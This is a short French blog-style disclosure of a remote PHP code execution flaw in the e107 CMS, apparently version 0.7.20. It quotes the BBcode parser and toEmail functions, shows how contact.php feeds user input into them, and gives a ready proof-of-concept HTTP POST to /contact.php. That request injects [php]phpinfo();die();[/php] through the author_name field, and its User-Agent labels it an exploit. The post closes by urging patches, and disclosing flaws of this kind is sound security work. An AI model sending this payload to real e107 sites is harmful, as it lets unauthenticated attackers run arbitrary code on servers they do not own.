Bonjour,
Hé oui tout est dans le titre de l’article !!
C’est une faille qui permet aux users non-athentifiés à exécuter du PHP à cause d’une mauvaise implémentation d’accés au niveau du contrôle du BBcode dans le CMS E107 :/ .
Cela est visible ici dans cette fonction du BBcodeParser:
function post_toHTML($text, $modifier = true, $extra = '') {
...
//If user is not allowed to use [php] change to entities
if(!check_class($pref['php_bbcode']))
{
$text = preg_replace("#\[(php)#i", "[\\1", $text);
}
return ($modifier ? $this->toHTML($text, true, $extra) : $text);
}
Or on voit bien qu’un post d’un user peut être transformer en HTML grâce à la fonction toHTML() function !!!
On va prendre un simple exemple : une fonction toEMAIL() :
function toEmail($text,$posted="",$mods="parse_sc, no_make_clickable")
{
if ($posted === TRUE && MAGIC_QUOTES_GPC)
{
$text = stripslashes($text);
}
$text = (strtolower($mods) != "rawtext") ? $this->replaceConstants($text,"full") : $text;
$text = $this->toHTML($text,TRUE,$mods);
return $text;
}
Alors si on utilise cette fonction pour le traitement des inputs de l’user, donc on peut exec du code php sans pbs *_* » !!!!
exemple :
if(isset($_POST['send-contactus'])){
$error = "";
$sender_name = $tp->toEmail($_POST['author_name'],TRUE,"rawtext");
$sender = check_email($_POST['email_send']);
$subject = $tp->toEmail($_POST['subject'],TRUE,"rawtext");
$body = $tp->toEmail($_POST['body'],TRUE,"rawtext");
Proof Of Concept ^^ :
Soit le POST Suivant à travers le code déjà implémenter :
POST /contact.php HTTP/1.1
Host: xxxx
User-Agent: e107 0.7.20 Remote Code Execution Exploit
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
send-contactus=1&author_name=[php]phpinfo()%3bdie()%3b[/php]&
Donc à vos Patchs